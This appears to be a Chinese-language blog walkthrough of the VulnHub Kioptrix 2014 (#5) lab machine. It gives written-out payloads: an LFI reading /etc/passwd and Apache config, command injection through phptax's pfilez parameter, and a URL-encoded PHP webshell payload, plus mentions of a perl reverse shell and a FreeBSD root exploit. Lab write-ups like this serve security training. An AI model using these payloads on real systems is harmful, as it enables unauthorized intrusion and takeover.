[資訊安全] VulnHub – Kioptrix 2014 (#5) Write-up

Photo by Shunsuke Ono on Unsplash

這篇 Kioptrix 2014 (#5) 是 Kioptrix 系列的最後一道題目,雖然這系列就唯獨 Level 1 (#1) 沒有做,其主要原因是跟著 TDOH 功德院那邊的其他成員一起解題,而大家皆是從 Level 1.1 開始,剛接觸時懵懵懂懂,甚至不知道還有 Level 1,所以就一路解下來了。

環境設定

靶機下載: https://www.vulnhub.com/entry/kioptrix-2014-5,62/

將 VulnHub – Kioptrix 2014 載下來後,如果是使用 VMware,直接點擊「Kioptrix2014.vmx」即可快速的將 Kioptrix 2014 佈署到 VMware 中,隨後網路環境一樣採用 NAT。

尋找靶機

Local: 192.168.147.133

Target: 192.168.147.132

Find Kioptrix 2014 (#5)

檢查服務

根據上投找到的資訊,有啟動的服務是 80、8080 Ports,透過瀏覽器瀏覽得到以下的訊息。

  • 80 200 ok
  • 8080 403 Forbidden

並且在 80 Port 上透過 Wappalyzer 分析服務內容。

似乎沒什麼太直接可利用的資訊,接著打開原始碼發現線索。

Find Kioptrix 2014 (#5) Page

是一個 pChart 2.1.3 的服務,隨移搜尋 Exploit-DB,找到含有 LFI 的漏洞「pChart 2.1.3 – Multiple Vulnerabilities」。

並且可以利用 LFI 嘗試取得更多線索,在這邊可以輕易讀到 /etc/passwd,在此也開始思考,給予部分的讀取權限後可以做到什麼事情?

思考了一陣子之後,如然回頭看了一下 8080 Port,並想通該 Port 的設定與 Apache 有關,接著就 Google 搜尋 FreeBSD 的 Apache 路徑,參考自「Apache HTTP Server」,隨後讀取 /usr/local/etc/apache22/httpd.conf,果不其然找到了 403 的原因。

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

這邊可以看到 8080 Port 的對應路徑是 /usr/local/www/apache22/data2,並且更重要的是 Allow from env=Mozilla4_browserSetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser 這兩行,指定了僅能使用 User-AgentMozilla/4.0 的瀏覽器進行瀏覽。

這部分可以參考文章「How To Change User Agent in Google Chrome」,使用 Chrome 內建的功能,就可以直接進行 User-agent 的變更,變更後瀏覽 8080 Port 可以得到以下畫面。

Find Kioptrix 2014 (#5) Page 2

Get Shell

可見使用了一個名為 phptax 的服務,並且很快的在 Exploit-db 上找到 Exploit,不過透過該 BindShell,在透過 Attacker 端去連接 Shell,怎麼連也連不上,為了確定指令有沒有正確的執行,嘗試以下的作法確有成功。

http://192.168.147.132:8080/phptax/index.php?pfilez=1040d1-pg2.tob;touch test.txt;&amp;pdf=make

由於沒有回顯,為了確認 sh 或 bash 的位置,使用 ls 指令,並將讀出的結果存到 shell.txt 中,在透過 LFI 的方式去讀取檔案,就可以確認 /bin//usr/bin/ 底下有哪些 shell 可以用了,如下。

http://192.168.147.132:8080/phptax/index.php
?pfilez=1040d1-pg2.tob;ls -lh "/bin/" |grep -e sh > shell.txt ;
&amp;pdf=make

目前確定有 sh,變可以更精準的調整 Payload,但又嘗試了一陣子,都無法成功,實際原因也不清楚。

隨後閱讀 PhpTax 0.8 – File Manipulation ‘newvalue’ / Remote Code Execution 一文,使用裡面的 Payload 如下,創建 rce.php 的 Webshell 出來。

{$url}/index.php?field=rce.php&amp;newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

其路徑為 http://192.168.147.132:8080/phptax/data/rce.php?cmd= ,雖然也依序折騰了一陣子,但至少擺脫在 index.phpdrawimage.php 下 command 的單引號問題。

Get Root

之後也參考 Hacking with Netcat part 2: Bind and reverse shells,得到一些 reverse shell 的方法,其中奏效的是 perl 版本,而得到 Reverse Shell 後,使用 uname -a 指令得到以下訊息。

FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     [email protected]:/usr/obj/usr/src/sys/GENERIC  amd64

接著就針對 FreeBSD 9.0 去尋找提權工具,丟到 /tmp 下編譯、執行。

Get Kioptrix 2014 (#5) Root Shell

成功取得 Root Shell。

後記

該篇花最多時間的部分都在開 Shell,不小的 nc 為什麼一連上就會斷線,接著不斷的懷疑 bash、sh 的路徑是否有正確,由於不會回顯,嘗試使用 2> stderr.txt 再接著透過 LFI 並查看,卻沒有任何輸出,直到最後才放棄使用 nc、轉向 phpperl,先是從 php 下手,才發現根本沒有 php 的 IDLE,此外 perl 對我來說,是完全陌生的東西,雖然只是套個腳本改一改再執行,但總還是會從熟悉的先下手,直到終於取得 Shell 尬笑了一陣子。


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料